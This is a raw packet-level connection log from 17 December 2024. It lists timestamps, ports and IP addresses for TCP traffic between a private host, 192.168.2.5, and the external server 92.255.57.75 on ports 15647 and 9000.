Dec 17, 2024 08:40:16.247576952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.253024101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.253097057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.253101110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.264054060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.267960072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.270454884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.286489010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.286569118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.302819014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.302855968 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.306579113 CET	50045	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.317358017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.317442894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.318078995 CET	9000	50042	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.335546970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.335726023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.336841106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.342485905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.342582941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.344669104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.344717979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.345014095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.355669022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.355766058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.367371082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.367587090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.374741077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.374782085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.374810934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.406580925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.406764030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.421391964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.421447992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.421487093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.422785044 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.423029900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.423064947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.423090935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.426450014 CET	9000	50045	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.426660061 CET	50045	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.426752090 CET	50045	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.436678886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.436763048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.444680929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.444820881 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.446036100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.446072102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.446096897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.446113110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.462395906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.463897943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.465749025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.465785027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.465852022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.478713989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.478799105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.494632006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.494730949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.494970083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.503724098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.503781080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.503793001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.512311935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.512367010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.512392998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.541560888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.541717052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.542892933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.543072939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.543083906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.543148994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.546648979 CET	9000	50045	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.548047066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.548094034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.548120975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.564886093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.565001965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.566468000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.581702948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.583872080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.585927963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.586097002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.586694002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.586730003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.586772919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.586772919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.598733902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.600106955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.607141018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.607342958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.607470989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.623683929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.623999119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.629362106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.638051033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.638405085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.638504982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.659915924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.671143055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.671955109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.681581974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.681663990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.681787968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.695924997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.695985079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.696223021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.705873013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.706168890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.718878984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.727377892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.727638006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.733351946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.733455896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.741198063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.741209984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.741262913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.756861925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.756885052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.756922960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.779655933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.779741049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.785365105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.785377026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.785547018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.801851988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.801954985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.806749105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.806888103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.816318989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.819849968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.825990915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.853219986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.853835106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.853939056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.860243082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.860310078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.860620022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.873430014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.875941992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.899450064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.899898052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.906471014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.906511068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.906676054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.926693916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.928333998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.932952881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.935925961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.964917898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.971950054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.974627018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.980390072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.983882904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.990724087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.991851091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.017292976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.019690037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.019979954 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.028551102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.028660059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.028781891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.048269987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.055797100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.059658051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.082551956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.084728956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.088080883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.091619968 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.091761112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.104300976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.106005907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.106096983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.106101990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.122540951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.131623983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.132071018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.133344889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.133398056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.133435011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.136182070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.136503935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.136571884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.136666059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.136710882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.137418032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.149000883 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.152822018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.165884972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.168076992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.168098927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.168495893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.189354897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.202562094 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.203845978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.208060980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.209105015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.225867987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.227370977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.227508068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.227586031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.227758884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.229166985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.232654095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.242398024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.243760109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.255907059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.255978107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.256458044 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.259983063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.276966095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.276977062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.277107000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.288165092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.288266897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.309221029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.309551954 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.328969955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.329072952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.336088896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.336142063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.336164951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.352324009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.354758978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.360264063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.360347986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.360367060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.375695944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.375893116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.376224041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.376342058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.376410007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.376410007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.394613981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.394696951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.407953978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.408040047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.420171976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.420207024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.420236111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.448898077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.448965073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.452692986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.452749014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.452771902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.464838028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.464895964 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.480026960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.483855009 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.495318890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.495336056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.495426893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.501327038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.501370907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.523495913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.523539066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.523571968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.539462090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.539535046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.544421911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.544477940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.567329884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.567385912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.567405939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.567436934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.569020033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.569084883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.572562933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.572624922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.589077950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.589123011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.589145899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.603878975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.603890896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.603933096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.621066093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.621120930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.621298075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.621335030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.639691114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.639725924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.639760971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.644795895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.644912004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.648077011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.648121119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.664238930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.667850971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.687057018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.687120914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.687140942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.688854933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.706608057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.706675053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.706705093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.723644018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.723717928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.725677967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.725737095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.725810051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.726020098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.753192902 CET	9000	50045	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.753283024 CET	9000	50045	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.753324986 CET	50045	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.753346920 CET	50045	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.759061098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.759129047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.764534950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.765652895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.768074989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.768470049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.776936054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.777192116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.797133923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.797199011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.797276020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.813133955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.815839052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.839622021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.843609095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.843642950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.843728065 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.851488113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.873150110 CET	9000	50045	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.874073982 CET	50051	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.884380102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.884481907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.888149023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.891861916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.900950909 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.903846979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:17.915764093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:17.919847012 CET	49998	15647	192.168.2.5	92.255.57.75
